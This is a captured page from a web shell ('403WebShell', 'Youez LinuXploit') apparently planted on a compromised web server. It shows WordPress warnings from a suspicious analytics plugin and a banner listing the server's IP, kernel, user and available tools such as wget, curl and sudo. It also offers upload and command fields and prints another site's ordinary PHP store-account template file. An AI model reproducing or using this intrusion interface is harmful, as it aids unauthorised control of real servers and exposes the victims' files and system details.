Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/storeAccount/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/storeAccount/view/storeaccount_view.php
<?php

class storeaccount_view extends View {
	
	public function UpdateHTML(&$html, $needle, $replacement) {
		$needle = "<!-- [{$needle}] -->";
		if (($pos = strpos($html, $needle)) === FALSE) {
			die("Unable to locate $needle in html");
		}
		$html = substr($html, 0, $pos) . $replacement . substr($html, $pos);
	}

	public function storeaccount_menu() {
		$html = <<<BLOCK
<div class="indented">
	<h3 class="templateheader">My Account</h3>
	<!-- <div>Account Information</div> -->
	<!-- <div>Change Password</div> -->
	<ul class="admin-list list-provider">
		<li><a href="/account/address" class="adminButton" title="Add or Edit Delivery Addresses">
		<i class="fas fa-truck"></i> Delivery Addresses</a></li>
	</ul>

	<h3 class="templateheader">My Orders</h3>
	<ul class="admin-list list-provider">
	<li><a href="/account/order" class="adminButton" title="View your orders">
		<i class="fas fa-shopping-bag"></i> Orders</a></li>
	</ul>
	<!-- Refunds<br>
	Transactions<br> -->

</div>
BLOCK;
		$this('storeaccount_menu')->html($html)->title('My Account');
	}
	
	public function storeaccount_order() {
		$html = <<<BLOCK
<h3 class="templateheader">{{page_title}}</h3>

<!--  tabs -->
<!-- x orders placed in [] -->
{{#each order}}
<div class="history-container">
	<div class="header">
		<div class="col col1">
			<span class="caption">ORDER PLACED</span>
			<span class="value">{{date}}</span>
		</div>
		<div class="col col2">
			<span class="caption">TOTAL</span>
			<span class="value">{{total}}</span>
		</div>
		<div class="col col3">
			<span class="caption">SHIP TO</span>
			<span class="value">{{name}}</span>
		</div>
		<div class="col col4">
			<span class="caption">ORDER #</span>
			<span class="value">{{ordernum}}</span>
			<span class="footnote"><a href="/account/order/{{ordernum}}">View order details</a> <!-- | <a href="/account/invoice/{{ordernum}}">View invoice</a> --></span>
		</div>
	</div>
	<div class="content">
		<div class="heading">{{orderstatus}}</div>
		<div class="subheading">{{ordersuffix}}</div>
		<div class="order-detail">
			<div class="column order-items">
				{{#each cart}}
					<div class="cart-item">
						<div class="col col1">
							<img src="{{thumb}}">
						</div>
						<div class="col detail">
							<div><a href="/{{slug}}/p/{{product}}">{{desc}}</a></div>
		<!-- [COL1] -->
						</div>
					</div>
				{{/each}}
			</div>
			<div class="column col actions">
<!-- [COL2] -->
			</div>
		</div>
	</div>
	<div class="footer">
<!-- [COL3] -->
	</div>
</div>
{{/each}}

BLOCK;


		$html = hook_execute('template.store.history.COL1', $html);		// <div>buy it again</div> / customized assemblies
		$html = hook_execute('template.store.history.COL2', $html);		// per-order actions
		$html = hook_execute('template.store.history.COL3', $html);		// archive order
		
	// COL2:
		// View or edit Order  -- unshipped
		// Get Product Support
		// Track Package -- has tracking number, and less than 3months from order
		// Return or replace items  -- within warranty period
		// 		View Return Label and Instructions
		// 		View Return/Refund Status
		// Get Help
		// Leave seller feedback
		// Write a product review

		$this('storeaccount_order')->html($html)->title('Your Orders');
		
	// Status
		// Arriving xxxx		// Ordered
		// Out for Delivery
		// Delivered xxx
		// Replacement ordered
		// Replacement complete
	}

	public function storeaccount_address() {
		$html = <<<BLOCK
<div class="indented2">
	<h3 class="templateheader">{{page_title}}</h3>

	<div class="store-address-container root" data-setdefault="/account/store-action/set-default">
		{{#each list_address}}
			<div class="address-item border {{#ifeq guid @root/guid}} default{{/ifeq}}" data-guid="{{guid}}">
				<div class="top">
					<div class="bold">{{name}}</div>
					<div class="">{{del_a}}</div>
					<div class="">{{addr2}}</div>
					<div class="">{{town}}, {{state}} {{zip}}</div>
					<div class="">{{country_name}}</div>
					<!-- phone -->
				</div>
				<div class="bottom">
					<a href="#">Edit</a> | <a href="#">Remove</a> <span class="set-default"> | <a class="action-set-default" href="#">Set as Default</a></span>
				</div>
			</div>
		{{/each}}
	</div>
	<p>These addresses are not used for Paypal transactions</p>
</div>
BLOCK;
		$this('storeaccount_address')->html($html)->title('Your Addresses');
	}

	public function Column2Text() {
		return <<<'BLOCK'

{{#if flag_unshipped}}<!-- unshipped -->
	{{#if flag_editable}}
	<span class="a-button a-button-normal a-spacing-mini a-button-base" title="edit some details, or cancel order">
		<span class="a-button-inner"><a href="/account/order/{{ordernum}}/edit" class="a-button-text" role="button">Edit order</a></span>
	</span>
	{{/if}}
{{/if}}
{{#if flag_shipvalid}}<!-- tracking number &amp; shipped less than 90 days -->
	<span class="a-button a-button-primary a-spacing-mini a-button-base">
		<span class="a-button-inner"><a href="/account/order/{{ordernum}}/track" class="a-button-text" role="button">Track package</a></span>
	</span>
{{else}}{{#unless flag_unshipped}}
	<span class="a-button a-button-normal a-spacing-mini a-button-base">
		<span class="a-button-inner"><a href="/account/order/{{ordernum}}/track" class="a-button-text" role="button">Track package</a></span>
	</span>
{{/unless}}{{/if}}
BLOCK;

	}

	public function storeaccount_tracking() {
//		<div><span class="key">Total before tax:</span><span class="value">$22.70</span></div>
//		<div><span class="key">Estimated tax:</span><span class="value">$1.42</span></div>

		$html = <<<BLOCK
<h3>{{page_title}}</h3>
{{#each tracking}}<div class="tb-item">
	<div class="tb-track">Tracking ID: <span>{{number}}</span></div>
	{{#if estimated}}
		<div class="tb-estimated">Estimated Delivery: <span>{{estimated}}</span></div>
	{{/if}}
	{{#if progress}}
		<div class="tb-progress">Status: <span>{{progress}}</span></div>
	{{/if}}
	<div class="tb-history">
		{{#each history}}
			<div class="tb-step collapsed">
				<p class="tb-status-detail">{{status}}</p>
				{{#if location}}<p class="tb-location">{{location}}&nbsp;</p>{{/if}}
				<p class="tb-date">{{date}}</p>
			</div>
		{{/each}}
	</div>
	{{#if link}}
		<div class="tb-link">See all updates at <a href="{{link}}">{{shipper}}</a></div>
	{{/if}}
</div>{{/each}}
BLOCK;
		$this('storeaccount_tracking')->html($html)->title('Order Tracking');
	}

	// unshipped, tracking lessthan x days

	public function storeaccount_detail() {
		
		$html = <<<'BLOCK'
<div class="indented">
	<h3 class="templateheader">{{page_title}}</h3>
	<div>Order placed <strong>{{orderplaced}}</strong> | Order # <strong>{{ordernum}}</strong>  <!-- view invoice --></div>

<!-- header -->
<div class="order-header border">
	<div class="column column-left">
		<h4>Ship to</h4>
		{{#with address}}
			{{name}}<br>
			{{del_a}}<br>
			{{#ifeq addr2 ""}}{{else}}{{addr2}}<br>{{/ifeq}}
			{{town}}, {{state}} {{zip}}<br>
			{{country_name}}
		{{/with}}
	</div>
	<div class="column column-right">
		<h4>Order Summary</h4>
		<div><span class="key">Item(s) Subtotal:</span><span class="value">${{subtotal}}</span></div>
		{{#each extras}}
			<div><span class="key">{{desc}}:</span><span class="value">{{display}}</span></div>
		{{/each}}

		<div><span class="key">Shipping &amp; Handling:</span><span class="value">{{freightcharge}}</span></div>
		<div><span class="key bold space">Grand Total:</span><span class="value bold space">{{total}}</span></div>
	</div>
</div>
<!-- each package -->
		<div class="order-outer border" cellspacing="0" cellpadding="0">
			<div>
				<div class="heading">{{orderstatus}}</div>
				<div class="subheading">{{ordersuffix}}</div>
			</div>
			{{#each cart}}
			<div class="order-row">
				<div class="column width1"><img src="{{thumb}}"></div>
				<div class="column width2">
					<div>{{desc}}</div>
		<!-- [COL2] -->
				</div>
				<div class="column actions">
					<div>
						<span class="a-button a-button-primary a-spacing-mini a-button-base">
							<span class="a-button-inner"><a href="#" class="a-button-text action-buy-again" role="button" data-product="{{product}}" data-custom="{{custom}}">Buy it again</a></span>
						</span>
					</div><div>
						<span class="a-button a-button-normal a-spacing-mini a-button-base">
							<span class="a-button-inner"><a href="{{uri}}?guid={{custom}}" class="a-button-text" role="button">View your item</a></span>
						</span>
					</div>
				</div>
			</div>
			{{/each}}
		</div>

{{#if tracking}}
	<div style="margin-bottom: 20px">
		<h3>Tracking</h3>
		<table class="table-tracking" cellpadding="0" cellspacing="0">
			<tr class="head"><td>Carrier</td><td>Tracking Number</td><td>Status</td></tr>
			{{#each tracking}}
				<tr class="detail">
					<td>{{carrier}}</td>
					<td>
						<a href="/account/order/{{../ordernum}}/track/{{number}}" target="track">{{number}}</a>
						<a href="#" class="action-copy" data-text="{{number}}"><i class="far fa-copy"></i></a>
					</td>
					<td>{{status}}</td>
				</tr>
			{{/each}}
		</table>
	</div>
{{/if}}

<div>
<p><a href="/account/order">Back to your orders</a></p>
</div>
BLOCK;
		$html = hook_execute('template.store.report.COL2', $html);		//  show customization
		$this('storeaccount_detail')->html($html)->title('Order Details');
		
	}
	
	public function storeaccount_edit() {
		$html = <<<'BLOCK'
<div class="indented">
	<h3 class="templateheader">{{page_title}}</h3>

<!-- header -->
<div class="order-header border">
	<div class="column column-left">
		<h4>Ship to</h4>
		{{#with address}}
			{{name}}<br>
			{{del_a}}<br>
			{{#ifeq addr2 ""}}{{else}}{{addr2}}<br>{{/ifeq}}
			{{town}}, {{state}} {{zip}}<br>
			{{country_name}}
		{{/with}}
	</div>
	<div class="column column-right">
		<h4>Order Summary</h4>
		<div><span class="key">Item(s) Subtotal:</span><span class="value">${{subtotal}}</span></div>
		{{#each extras}}
			<div><span class="key">{{desc}}:</span><span class="value">{{display}}</span></div>
		{{/each}}
		<div><span class="key">Shipping &amp; Handling:</span><span class="value">{{freightcharge}}</span></div>
		<div><span class="key bold space">Grand Total:</span><span class="value bold space">{{total}}</span></div>
	</div>
</div>

<!-- each line in the order -->
{{#each cart}}
<div class="order-outer border" cellspacing="0" cellpadding="0">
	<div class="order-row">
		<div class="column col1">
			<div class="detail-row">
				<div class="detail-cell width1"><img src="{{thumb}}"></div>
				<div class="detail-cell width2">
				<div>{{desc}}</div>
<!-- [COL2] -->
				</div>
			</div>
		</div>
		<div class="column actions">
<!-- [COL3] -->
		</div>
	</div>
</div>
{{/each}}

<div class="order-actions">
	<span class="a-button a-button-normal a-spacing-mini a-button-base" style="width:200px">
		<span class="a-button-inner"><a href="/account/order/{{ordernum}}/cancel?auth={{auth}}" class="a-button-text json-request" role="button">Cancel this order</a></span>
	</span> // <span><a href="/account/order">Back to your orders</a></span>
</div>

BLOCK;
		$html = hook_execute('template.store.edit.COL2', $html);		//  show current variation/selection
		$html = hook_execute('template.store.edit.COL3', $html);		//  select a different variation

		$this('storeaccount_edit')->html($html)->title('Edit Order');
	}

	// this is the client requesting all/part of an order to be canceled
	public function storeaccount_cancel() {
		$html = <<<'BLOCK'
<form class="frm json" method="post" action="/account/order/{{ordernum}}/cancel">
	<input type="hidden" name="auth" value="{{auth}}">
	<div class="control-group required">
		<label for="reason">Cancellation Reason</label>
		<div class="controls"> 
			<select id="reason" name="reason">
				{{#each list_reason}}<option value="{{key}}"{{#ifeq key @root/reason}} selected{{/ifeq}}>{{value}}</option>{{/each}}
			</select>
		</div>
		<div class="status-message" for="reason"></div>
	</div>
	
	<div class="control-group detail">
        <label for="detail">Details (optional)</label>
        <div class="controls"><textarea id="detail" name="detail" class="admin-textarea" wrap="physical" style="height:120px">{{detail}}</textarea></div>
	</div> 
	<p>Cancellation of this order will not be possible once the carrier is in posession of it.</p>
</form>

BLOCK;
		$this('storeaccount_cancel')->html($html);
	}
	
/*

show items
  
list tracking numbers  
*/


}

Youez - 2016 - github.com/yon3zu
LinuXploit